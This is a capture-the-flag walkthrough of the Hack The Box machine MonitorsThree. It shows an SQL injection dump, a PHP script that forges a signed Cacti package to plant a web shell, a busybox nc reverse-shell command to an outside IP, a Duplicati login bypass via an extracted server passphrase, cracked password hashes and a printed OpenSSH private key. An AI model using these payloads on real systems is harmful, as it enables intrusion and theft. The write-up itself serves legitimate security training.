Skip to content

HTB: MonitorsThree

Spoiler Summary

The machine featured a Cacti monitoring system vulnerable to authenticated RCE. Subdomain discovery revealed cacti.monitorsthree.htb, and SQL Injection at forgot_password.php exposed admin credentials. Using admin:greencacti2001, I leveraged an XML signature vulnerability to upload a malicious PHP file, achieving remote code execution. Privilege escalation was accomplished by exposing an internal Duplicati service, extracting the server passphrase, and leveraging the Duplicati web interface to back up and restore sensitive files, ultimately gaining root access.

Enumeration

Manual Enumeration

$ ffuf -w ~/seclists/Discovery/DNS/n0kovo_subdomains.txt -u http://monitorsthree.htb -H 'Host: FUZZ.monitorsthree.htb' -ac
...

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 94ms]

$ feroxbuster -k -u http://monitorsthree.htb/ -w ~/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d1
...
301      GET        7l       12w      178c http://monitorsthree.htb/images => http://monitorsthree.htb/images/
200      GET        6l       34w     2166c http://monitorsthree.htb/images/services/02.png
200      GET        5l       30w     1616c http://monitorsthree.htb/images/services/01.png
200      GET       19l       62w     3695c http://monitorsthree.htb/images/services/04.png
200      GET        1l      235w    12063c http://monitorsthree.htb/images/review.svg
200      GET       38l      117w     2813c http://monitorsthree.htb/js/plugins.js
200      GET       11l       15w      188c http://monitorsthree.htb/css/plugins.css
200      GET       24l       99w      770c http://monitorsthree.htb/js/smoothscroll.js
200      GET        9l       43w     3028c http://monitorsthree.htb/images/services/03.png
200      GET       71l      130w     1872c http://monitorsthree.htb/js/custom.js
200      GET       96l      239w     4252c http://monitorsthree.htb/login.php
200      GET        5l      369w    21003c http://monitorsthree.htb/js/popper.min.js
200      GET      935l     1752w    15174c http://monitorsthree.htb/css/style.css
200      GET        1l      393w    15974c http://monitorsthree.htb/images/about-us.svg
200      GET        1l      359w    22207c http://monitorsthree.htb/images/banner.svg
200      GET      109l      619w    13655c http://monitorsthree.htb/images/service.svg
200      GET        7l      277w    44342c http://monitorsthree.htb/js/owl.carousel.min.js
200      GET        7l      683w    60010c http://monitorsthree.htb/js/bootstrap.min.js
200      GET      175l     1248w    89112c http://monitorsthree.htb/admin/assets/images/logo.png
200      GET        4l     1293w    86709c http://monitorsthree.htb/js/jquery-min.js
200      GET       87l     1326w   157954c http://monitorsthree.htb/admin/assets/images/logo.ico
200      GET      338l      982w    13560c http://monitorsthree.htb/
301      GET        7l       12w      178c http://monitorsthree.htb/admin => http://monitorsthree.htb/admin/
301      GET        7l       12w      178c http://monitorsthree.htb/css => http://monitorsthree.htb/css/
301      GET        7l       12w      178c http://monitorsthree.htb/js => http://monitorsthree.htb/js/
301      GET        7l       12w      178c http://monitorsthree.htb/fonts => http://monitorsthree.htb/fonts/
[####################] - 7m    220574/220574  0s      found:26      errors:0
[####################] - 7m    220545/220545  514/s   http://monitorsthree.htb/

There's an authenticated RCE vulnerability, if I can find credentials.

There's a SQLi at http://monitorsthree.htb/forgot_password.php:

It's slow, but sqlmap recovers the data I need:

Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob        | email                       | name              | salary    | password                         | username  | position              | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2  | 1978-04-25 | admin@monitorsthree.htb     | Marcus Higgins    | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin     | Super User            | 2021-01-12 |
| 5  | 1985-02-15 | mwatson@monitorsthree.htb   | Michael Watson    | 75000.00  | c585d01f2eb3e6e1073e92023088a3dd | mwatson   | Website Administrator | 2021-05-10 |
| 6  | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00  | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer      | 2021-06-20 |
| 7  | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson    | 83000.00  | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager      | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+

Credentials: admin:greencacti2001

Remote Code Execution

$ cat x.php
<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = '<?php system($_GET["cmd"]); ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>
$ php x.php

$ ls -l test.xml.gz
-rw-r--r-- 1 e e 1160 Dec  4 10:30 test.xml.gz

Trigger with:

http://cacti.monitorsthree.htb/cacti/resource/test.php?cmd=busybox%20nc%2010.10.14.4%20443%20-e%20bash
Connection received on 10.10.11.30 60832
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

www-data@monitorsthree:/tmp$ netstat -lnpt
netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      1234/mono
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1311/nginx: worker
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:42017         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      1311/nginx: worker
tcp6       0      0 :::22                   :::*                    LISTEN      -
www-data@monitorsthree:/tmp$ which socat
which socat
/usr/bin/socat
www-data@monitorsthree:/tmp$ socat TCP4-LISTEN:8201,fork,reuseaddr TCP4:127.0.0.1:8200
<TCP4-LISTEN:8201,fork,reuseaddr TCP4:127.0.0.1:8200

There's a bypass if I have the "server passphrase". See also: Duplicati: Bypassing Login Authentication With Server-passphrase

www-data@monitorsthree:~/html/cacti/resource$ find / -name '*.sqlite' 2>/dev/null
<cacti/resource$ find / -name '*.sqlite' 2>/dev/null
/opt/duplicati/config/Duplicati-server.sqlite
/opt/duplicati/config/CTADPNHLTC.sqlite
www-data@monitorsthree:~/html/cacti/resource$ find / -name '*.sqlite' 2>/dev/null
<cacti/resource$ find / -name '*.sqlite' 2>/dev/null
/opt/duplicati/config/Duplicati-server.sqlite
/opt/duplicati/config/CTADPNHLTC.sqlite
www-data@monitorsthree:~/html/cacti/resource$ cp /opt/duplicati/config/*.sqlite /var/www/html/cacti/

  • server-passphrase is: Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=&K
  • server-passphrase-salt is: xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=

The server passphrase in hexadecimal is: 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

POST /login.cgi HTTP/1.1
Host: monitorsthree.htb:8201
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://monitorsthree.htb:8201/login.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://monitorsthree.htb:8201
Connection: keep-alive
Cookie: xsrf-token=x1iJZxI2tbR2rkprm%2Fiyn2kArJvJUBO528xBDBvn1rU%3D; session-nonce=QyzxS%2Bb97v56s49fhLi91Ad1fucs57IM6yXHJGhqV%2FY%3D

password=fnEm4nJeOFhpgpd3D2BbbDxODzqF%2BXnoVQrpqZWmRDk%3D

POST /login.cgi HTTP/1.1
Host: monitorsthree.htb:8201
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://monitorsthree.htb:8201/login.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://monitorsthree.htb:8201
Connection: keep-alive
Cookie: xsrf-token=x1iJZxI2tbR2rkprm%2Fiyn2kArJvJUBO528xBDBvn1rU%3D; session-nonce=QyzxS%2Bb97v56s49fhLi91Ad1fucs57IM6yXHJGhqV%2FY%3D

password=ow9Ge0ezyQZ0coTEdq8KQCiZb4C2P9/pDfnsfYUPJMk%3d

It works!

www-data@monitorsthree:~/html/cacti/include$ cat cocat config.php
cat config.php
<?php
...
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
...
MariaDB [cacti]> selselect * from user_auth;
select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password                                                     | realm | full_name     | email_address            | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
|  1 | admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |     0 | Administrator | marcus@monitorsthree.htb |                      |                 | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |   436423766 |
|  3 | guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |     0 | Guest Account | guest@monitorsthree.htb  |                      |                 | on        | on        | on           |                |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |  3774379591 |
|  4 | marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |     0 | Marcus        | marcus@monitorsthree.htb |                      | on              | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  |        |               0 |        0 |  1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.000 sec)

Cracked:

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
www-data@monitorsthree:~/html/cacti/include$ su - marcus
su - marcus
Password: 12345678910

marcus@monitorsthree:~$
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Using the Duplicati interface, it's possible to backup and restore /root/root.txt to a readable location for the user marcus.